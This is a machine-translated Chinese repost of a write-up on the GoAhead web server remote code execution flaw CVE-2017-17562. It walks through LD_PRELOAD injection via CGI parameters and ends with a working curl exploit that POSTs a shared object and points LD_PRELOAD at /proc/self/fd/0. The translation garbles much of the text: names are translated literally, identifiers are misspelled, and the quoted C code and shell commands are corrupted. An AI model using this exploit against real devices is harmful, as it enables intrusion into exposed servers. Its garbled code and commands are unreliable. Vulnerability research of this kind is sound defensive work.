0x01簡介
CVE-2017-17562是一個基于繼續(xù)前進(jìn)的網(wǎng)絡(luò)服務(wù)器
造成該漏洞的原因是GoAhead允許用戶通過參數(shù)構(gòu)造任意環(huán)境變量,這會影響所有啟用了動態(tài)鏈接的CGI可執(zhí)行文件。當(dāng)CGI程序調(diào)用glibc動態(tài)鏈接庫時,像LD _ PRELOAD(通常用于函數(shù)掛鉤)這樣的環(huán)境變量會導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
GoAhead是全球最流行的嵌入式Web服務(wù)器,IBM、惠普、甲骨文、波音、D-Link、摩托羅拉都在使用。在Shodan上,我們可以發(fā)現(xiàn)超過735,000個設(shè)備使用GoAhead。
本文以GoAhead為案例進(jìn)行研究,其他很多類型的軟件都有類似的問題。
0x02漏洞分析
該漏洞存在于GoAhead的所有版本中(我們能得到的最低版本是2.5.0),可以通過以下命令獲得GoAhead的源代碼:
daniel@makemyday:~$git克隆https://github.com/embedthis/goahead.git
克隆到“goahead”...
遠(yuǎn)程:計數(shù)對象:20583,完成。
遠(yuǎn)程:總計20583(增量0),重用0(增量0),包重用20583
接收對象:100% (20583/20583),19.71 MiB | 4.76 MiB/s,完成。
解決差值:100% (14843/14843),完成。
daniel@makemyday:~$cd goahead/
daniel@makemyday:~/goahead$ls
configure CONTRIBUTING.md doc安裝main . me Makefile paks README . MD test
configure . bat dist farm . JSON LICENSE . MD make . bat package . JSON project src
daniel@makemyday:~/goahead$git結(jié)賬標(biāo)簽/v3.6.4 -q
Daniel @ make my day:~/goahead $ make & gt;/dev/null
Daniel @ make my day:~/go ahead $ CD test
Daniel @ make my day:~/go ahead/test $ gcc。/cgitest.c -ocgi-bin/cgitest
Daniel @ make myday:~/go ahead/test $ sudo../build/Linux-x64-default/bin/go ahead
0x03代碼
該漏洞存在于cgiHandler函數(shù)中,該函數(shù)為新進(jìn)程的envp參數(shù)分配一個指針數(shù)組,然后用HTTP參數(shù)中的鍵值初始化該數(shù)組。最后,由fork和executive執(zhí)行的Cgi腳本調(diào)用launchCgi函數(shù)。
程序會過濾REMOTE_HOST和HTTP_AUTHORIZATION,除了其他參數(shù)可信,沒有進(jìn)一步過濾。這允許攻擊者在新的CGI進(jìn)程中控制環(huán)境變量。這種行為很危險,后面會詳細(xì)描述。
圖3:goahead/src/cgi.c:cgihandler
...
public boolcgihandler(WeB * WP)
{
Cgi * cgip
WebsKey * s;
charcgiPrefix[ME _ GOAHEAD _ LIMIT _ FILENAME],*stdIn,*stdOut,CWD[ME _ GOAHEAD _ LIMIT _ FILENAME];
char*cp,*cgiName,*cgiPath,**argp,**envp,**ep,*tok,*query,*dir,*extraPath,* exe
CgiPidpHandle
intn,envpsize,argpsize,cid
...
/*
將所有CGI變量添加到要傳遞給生成的CGI進(jìn)程的環(huán)境字符串中。這包括幾個
符號表中還沒有,加上vars符號表中的所有符號。envp將指向
指向一大堆指針。每個指針將指向一個包含關(guān)鍵字值對的瓦隆字符串
關(guān)鍵字=值。因為我們事先不知道會有多少環(huán)境字符串
循環(huán)包含通過wrealloc增加數(shù)組大小的邏輯。
*/
envpsize = 64
envp = walloc(env psize * sizeof(char *));
for(n=0,s = HashFirst(WP->;vars);s!= NULLs = HashNext(WP->;vars,s)){
if(s->;內(nèi)容有效。& amps->;content.type = = string & amp& amp
strcmp(s->;name.value.string," REMOTE_HOST ")!= 0 & amp& amp
strcmp(s->;name.value.string," HTTP _ AUTHORIZATION ")!=0){
envp[n++]=sfmt("%s=%s ",s->。name.value.string,s->;content . value . string);
跟蹤(5," Env[%d] %s ",n,envp[n-1]);
if(n >;=envpsize){
env psize * = 2;
envp=wrealloc(envp,env psize * sizeof(char *));
}
}
}
*(envp+n)= NULL;
/*
為孩子的標(biāo)準(zhǔn)輸入和標(biāo)準(zhǔn)輸出創(chuàng)建臨時文件名。對于開機自檢數(shù)據(jù),標(biāo)準(zhǔn)輸入臨時文件(和名稱)
應(yīng)該已經(jīng)存在。
*/
if(wp->;cgiStdin==NULL){
wp->。cgiStdin = websGetCgiCommName();
}
stdIn=wp->。cgiStdin
stdOut = websGetCgiCommName();
if(wp->;cgifd>。=0){
關(guān)閉(wp->;cgifd);
wp->。cgifd =-1;
}
/*
現(xiàn)在啟動流程。如果不成功,請清理資源。如果成功,清理將
過程完成后完成。
*/
if((PhAnDole = launchCgi(CGI path,argp,envp,stdIn,stdOut))==(CgiPid)-1){
...
0x04補丁
這個問題是通過過濾掉特殊參數(shù)解決的,即使對于a=b%00LD_PRELOAD%3D這樣的參數(shù),似乎也是可以過濾的。如果你發(fā)現(xiàn)其他可以繞過的情況,你愿意溝通。
圖4:git diff f9ea 55a 6f 786 C1 src/CGI . c
diff - git a/src/cgi.c b/src/cgi.c
索引899ec97b..18d9b45b 100644
- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @ @ PUBLIC bool CGihandler(web * WP)
envpsize = 64
envp = walloc(env psize * sizeof(char *));
for (n = 0,s = HashFirst(WP->;vars);s!= NULLs = HashNext(WP->;vars,s)) {
-if(s->;內(nèi)容有效。& amps->;content.type = = string & amp& amp
- strcmp(s->;name.value.string," REMOTE_HOST ")!= 0 & amp& amp
- strcmp(s->;name.value.string," HTTP _ AUTHORIZATION ")!= 0) {
- envp[n++] = sfmt("%s=%s ",s->。name.value.string,s->;content . value . string);
+if(s->;內(nèi)容有效。& amps->;content.type == string) {
+if(smatch(s->;name.value.string," REMOTE_HOST") ||
+ smatch(s->;name.value.string," HTTP _ AUTHORITY ")| |
+ smatch(s->;name.value.string," IFS") ||
+ smatch(s->;name.value.string," CDPATH") ||
+ smatch(s->;name.value.string," PATH") ||
+s零件(s->;name.value.string," LD _ "){
+繼續(xù);
+ }
+ envp[n++] = sfmt("%s%s=%s ",ME _ GOAHEAD _ CGI _ PREFFREY,
+ s->。name.value.string,s->;content . value . string);
跟蹤(5," Env[%d] %s ",n,envp[n-1]);
if (n >;= envpsize) {
env psize * = 2;
0x05開發(fā)
雖然注入環(huán)境變量的問題看起來沒有那么嚴(yán)重,但是有時候特殊的環(huán)境變量會導(dǎo)致動態(tài)鏈接庫劫持程序的控制流。
極低頻動態(tài)鏈路
通過讀取GoAhead的ELF文件頭,可以看出它是一個64位動態(tài)鏈接的可執(zhí)行文件。INTERPeter程序在interpr部分指出,指向/lib64/ld-linux-x86-64.so.2(這是一個動態(tài)鏈接器)。
圖5:讀取極低頻標(biāo)題
Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $ readelf-HL。/goahead
極低頻標(biāo)題:
魔法:7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
類別:ELF64
數(shù)據(jù):2的補碼,小端字節(jié)序
版本:1(當(dāng)前)
操作系統(tǒng)/ABI: UNIX -系統(tǒng)五
ABI版本:0
類型:DYN(共享對象文件)
機器:高級微設(shè)備X86-64
版本:0x1
入口點地址:0xf80
程序頭開始:64(文件字節(jié))
節(jié)標(biāo)題的開始:21904(文件字節(jié))
標(biāo)志:0x0
此標(biāo)頭的大小:64(字節(jié))
程序頭的大小:56(字節(jié))
節(jié)目標(biāo)題數(shù):9
節(jié)標(biāo)題的大小:64(字節(jié))
節(jié)標(biāo)題數(shù):34
節(jié)標(biāo)題字符串表索引:33
程序標(biāo)題:
類型偏移VirtAddr物理地址
文件大小內(nèi)存大小標(biāo)志對齊
PHDR 0x 0000000000000000040 0x 000000000000040 0x 0000000000000000040
0x 00000000000000001 F8 0x 0000000000001 F8 R E 0x 8
INTERP 0x 0000000000000000238 0x 0000000000000238 0x 00000000000000238
0x 000000000000000001 c 0x 0000000000001 c R 0x 1
[請求程序解釋器:/lib64/ld-linux-x86-64.so.2]
...
Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $
動態(tài)鏈接器是動態(tài)鏈接的可執(zhí)行文件中允許的第一個代碼,負(fù)責(zé)鏈接和加載共享對象以及解析符號。為了獲得goahead進(jìn)程加載的所有共享對象的列表,我們可以將一個特殊的環(huán)境變量LD_TRACE_LOADED_OBJECTS設(shè)置為1。運行后,它將打印加載的庫并退出。
圖6:ld.so LD_TRACE_LOADED_OBJECTS
Daniel @ make myday:~/go ahead/build/Linux-x64-default/bin $ LD _ TRACE _ LOADED _ Objects = 1。/goahead
linux-vdso.so.1 =>。(0x00007fff31bb4000)
libgo.so =>。/home/Daniel/goahead/build/Linux-x64-default/bin/libgo . so(0x 00007 f 571 f 548000)
libc.so.6 =>。/lib/x86 _ 64-Linux-GNU/libc . so . 6(0x 00007 f 571 f 168000)
libpthread.so.0 =>。/lib/x86 _ 64-Linux-GNU/libpthread . so . 0(0x 00007 f 571 ef 49000)
/lib 64/LD-Linux-x86-64 . so . 2(0x 00007 f 571 f 806000)
Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $
我們還可以靜態(tài)地找到這些信息(不允許動態(tài)鏈接)。方法是在ELF共享對象中通過grep找到DT _ NEQUIRED定義。
圖7:靜態(tài)查找共享對象依賴關(guān)系
daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d./goahead | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [libgo.so]0x0000000000000001 (NEEDED) Shared library: [libc.so.6]daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d/home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0]0x0000000000000001 (NEEDED) Shared library: [libc.so.6]daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d/lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]daniel@makemyday:~/goahead/build/linux-x64-default/bin$注意:一些認(rèn)真的讀者可能會注意到缺少linux-vdso.so.1。沒毛病!VDSO是一個特殊的共享庫,由內(nèi)核映射到內(nèi)存中。詳見man 7 vdso。
特殊環(huán)境變量
那么,這和環(huán)境變量的注入有什么關(guān)系呢?正如我們所知,動態(tài)鏈接器是執(zhí)行新進(jìn)程的第一個代碼。如果我們閱讀man 8 ld.so,我們可以發(fā)現(xiàn)有一些特殊的環(huán)境變量可以修改默認(rèn)行為。
讓我們閱讀源代碼,看看里面發(fā)生了什么。dl_main函數(shù)是動態(tài)鏈接器的入口函數(shù)。
圖-8:glibc/elf/rtld.c:dl_main
static void dl _ main(ConstelfW(Phdr)* Phdr,
ElfW(Word)phnum,ElfW(Addr)*user_entry,ElfW(auxv_t)*auxv){constElfW(Phdr)*ph;enummodemode;structlink_map*main_map;size_tfile_size;char*file;boolhas_interp=false;unsignedinti;.../* Process the environment variable which control the behaviour. */process_envvars(&mode);從代碼中可以看出,這個函數(shù)做的第一件事就是調(diào)用process_envvars函數(shù)。
圖9:glibc/elf/rtld . c:process _ env vars
staticvoid
process _ env vars(enum mode * modep){ char * * runp = _ environ;char * envlineenummodemode =正常;char * debug _ output = NULL/*這是分析數(shù)據(jù)文件的默認(rèn)位置。*/GLRO(dl _ profile _ output)= & amp;"/var/tmp 0/var/profile " _ _ libc _ enable _ secure?9:0];while((env line = _ dl _ next _ LD _ env _ entry(& amp;runp))!= NULL){ size _ tlen = 0;while(envline[len]!= ' 0 ' & amp& ampenvline[len]!= ' = ')++ len;if(envline[len]!='=')/*這是一個在字符串末尾沒有' = '字符的“LD_”變量。忽略它,否則我們將訪問下面的無效內(nèi)存。*/繼續(xù);switch(len){case4:/*警告級別,詳細(xì)與否。*/if(memcmp(envline,“WARN”,4)= = 0)GLRO(dl _ verbose)= env line[5]!='0';打破;案例5:/*動態(tài)鏈接器的調(diào)試?*/if(memcmp(envline,“DEBUG”,5)= = 0 { process _ dl _ DEBUG(& amp;env line[6]);打破;}if(memcmp(envline,“AUDIT”,5)= = 0 AUDIT _ list _ string = & amp;env line[6];打破;案例7:/*打印版本信息。*/if(memcmp(envline," VERBOSE ",7)= = 0 { version _ info = env line[8]!='0';打破;}/*要預(yù)加載的對象列表。*/if(memcmp(envline,“PRELOAD”,7)= = 0 { preLOADlist = & amp;env line[8];打破;}
我們可以看到鏈接器解析envp數(shù)組,如果它找到一個特殊的變量名,它會執(zhí)行一個不同的代碼路徑。特別有意思的是,案例7收到LD_PRELOAD后,給preloadlist賦值。
圖10:glibc/elf/rtld.c:dl_main
.../* We have two ways to specify objects to preload: via environmentvariable and via the file /etc/ld.so.preload. The latter can alsobe used when security is enabled. */assert(*first_preload==NULL);structlink_map**preloads=NULL;unsignedintnpreloads=0;if(__glibc_unlikely(preloadlist!=NULL)){HP_TIMING_NOW(start);npreloads+=handle_ld_preload(preloadlist,main_map);HP_TIMING_NOW(stop);HP_TIMING_DIFF(diff,start,stop);HP_TIMING_ACCUM_NT(load_time,diff);}...查看dl_main函數(shù),如果預(yù)加載列表不為NULL,則調(diào)用handle_ld_preload函數(shù)。
圖-11:glibc/elf/rtld . c:handle _ LD _ preload
/* The list preloaded objects. */staticconstchar*preloadlistattribute_relro;/* Nonzero if information about versions has to be printed. */staticintversion_infoattribute_relro;/* The LD_PRELOAD environment variable gives list of librariesseparated by white space or colons that are loaded before theexecutable's dependencies and prepended to the global scope list.(If the binary is running setuid all elements containing a '/' areignored since it is insecure.) Return the number of preloadsperformed. */unsignedinthandle_ld_preload(constchar*preloadlist,structlink_map*main_map){unsignedintnpreloads=0;constchar*p=preloadlist;charfname[SECURE_PATH_LIMIT];while(*p!='0'){/* Split preload list at space/colon. */size_tlen=strcspn(p," :");if(len>0&&len<sizeof(fname)){memcpy(fname,p,len);fname[len]='0';}elsefname[0]='0';/* Skip over the substring and the following delimiter. */p+=len;if(*p!='0')++p;if(dso_name_valid_for_suid(fname))npreloads+=do_preload(fname,main_map,"LD_PRELOAD");}returnnpreloads;}...函數(shù)handle_ld_preload將解析預(yù)加載列表,并將其視為要加載的共享對象列表!
如果我們用goahead注入LD_PRELOAD環(huán)境變量,可以用glibc處理特殊的環(huán)境變量,加載ELF文件中沒有鏈接的任何共享對象!
0x06 ELF。所以
這太他媽的棒了,我們可以強制goahead加載任意共享對象。但是有個問題,怎么才能讓它允許代碼?
在。init和。最后,如果我們修改一個帶有構(gòu)造函數(shù)屬性的函數(shù),我們可以強制該函數(shù)在main之前執(zhí)行。
圖12:PoC/有效載荷. c
#include <unistd.h>staticvoidbefore_main(void)__attribute__((constructor));staticvoidbefore_main(void){write(1,"Hello: World!n",14);}圖13:將有效載荷編譯為共享對象。
Daniel @ make my day:~/go ahead/PoC $ gcc-shared-FPIc。/payload . c-opayload . sodaniel @ make my day:~/go ahead/PoC $ LD _ PREFELD =。/payload . so cat/dev/NullHello:World!Daniel @ make my day:~/go ahead/PoC $
太好了,如果我們在goahead的測試系統(tǒng)上運行它會發(fā)生什么?
圖14:嘗試一個簡單的概念驗證
daniel@makemyday:~/goahead/PoC$ls-la./payload.so-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.sodaniel@makemyday:~/goahead/PoC$echo-en"GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0rnrn"| nc localhost 80 | head -10HTTP/1.0 200 OKDate: Wed Dec 13 02:38:56 2017Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!content-type: text/htmldaniel@makemyday:~/goahead/PoC$我們可以清楚地看到,我們的共享代碼是由cgitest進(jìn)程通過LD _ PRELOAD執(zhí)行的。
0x07 LINUX /PROC/SELF/FD/0
目前還有一個關(guān)鍵問題。即使我們知道可以從磁盤加載共享對象,從而允許執(zhí)行自定義代碼,但是如何將構(gòu)造的共享對象注入遠(yuǎn)程服務(wù)器呢?如果做不到這一點,那么這個漏洞就有點雞了。
幸運的是,launchCgi函數(shù)實際上使用dup2()將stdin文件描述符指向包含POST請求正文的臨時文件。這意味著磁盤上會有一個用戶提供的數(shù)據(jù)文件,可以被LD _ PREFELD =/tmp/CGI-XXXXXX引用。
圖15:go ahead/src/CGI . c:launchccgi
/*Launch the CGI process and return a handle to it.*/static CgiPidlaunchCgi(char*cgiPath,char**argp,char**envp,char*stdIn,char*stdOut){intfdin,fdout,pid;trace(5,"cgi: run %s",cgiPath);if((fdin=open(stdIn,O_RDWR|O_CREAT|O_BINARY,0666))<0){error("Cannot open CGI stdin: ",cgiPath);return-1;}if((fdout=open(stdOut,O_RDWR|O_CREAT|O_TRUNC|O_BINARY,0666))<0){error("Cannot open CGI stdout: ",cgiPath);return-1;}pid=vfork();if(pid==0){/*Child*/if(dup2(fdin,0)<0){printf("content-type: text/htmlnnDup of stdin failedn");_exit(1);}elseif(dup2(fdout,1)<0){printf("content-type: text/htmlnnDup of stdout failedn");_exit(1);}elseif(execve(cgiPath,argp,envp)==-1){printf("content-type: text/htmlnnExecution of cgi process failedn");}...}然而,如果我們這樣做,我們需要猜測(并非不可能)包含我們的POST內(nèi)容的臨時文件名,這似乎有點痛苦。幸運的是,Linux procfs文件系統(tǒng)有一個很好的符號鏈接,我們可以用它來指向我們的臨時文件stdin的描述符。您可以將LD _ PRELOAD指向/proc/self/fd/0,也可以使用/dev/stdin直接訪問它。
圖-16:linux/fs/proc/self.c
static const char* proc_self_get_link(structdentry*dentry,structinode*inode,structdelayed_call*done){structpid_namespace*ns=inode->i_sb->s_fs_info;pid_ttgid=task_tgid_nr_ns(current,ns);char*name;if(!tgid)returnERR_PTR(-ENOENT);/* 11 for max length of signed int in decimal + NULL term */name=kmalloc(12,dentry?GFP_KERNEL:GFP_ATOMIC);if(unlikely(!name))returndentry?ERR_PTR(-ENOMEM):ERR_PTR(-ECHILD);sprintf(name,"%d",tgid);set_delayed_call(done,kfree_link,name);returnname;}staticconststructinode_operationsproc_self_inode_operations={.get_link=proc_self_get_link,};這樣,我們就可以通過開機自檢請求來可靠地利用該漏洞。開機自檢請求包含惡意共享對象。同時,設(shè)置LD _ PREFELD =/proc/self/FD/0來引用我們POST的共享對象,達(dá)到遠(yuǎn)程攻擊的目的。
圖17:通過命令行利用
daniel@makemyday:~/goahead/PoC$curl -XPOST --data-binary@payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i| head% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774HTTP/1.1 200 OKDate: Sun Dec 17 13:08:20 2017Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!Content-type: text/htmldaniel@makemyday:~/goahead/PoC$如果您需要概念驗證,請訪問我們的GitHub項目。
0x08結(jié)論
這個漏洞是一個有趣的研究案例,思路非常新穎。本文起到了很重要的作用,引入的漏洞在其他應(yīng)用服務(wù)中也可能存在。
如果你有興趣了解更多關(guān)于鏈接和加載的知識,這里有兩篇很棒的文章可以閱讀。
翻譯來源:https://www.elttam.com.au/blog/goahead/,點擊直接閱讀原文!
1.《goahead GoAhead遠(yuǎn)程代碼執(zhí)行漏洞分析報告》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡(luò)信息知識,僅代表作者本人觀點,與本網(wǎng)站無關(guān),侵刪請聯(lián)系頁腳下方聯(lián)系方式。
2.《goahead GoAhead遠(yuǎn)程代碼執(zhí)行漏洞分析報告》僅供讀者參考,本網(wǎng)站未對該內(nèi)容進(jìn)行證實,對其原創(chuàng)性、真實性、完整性、及時性不作任何保證。
3.文章轉(zhuǎn)載時請保留本站內(nèi)容來源地址,http://f99ss.com/fangchan/1217398.html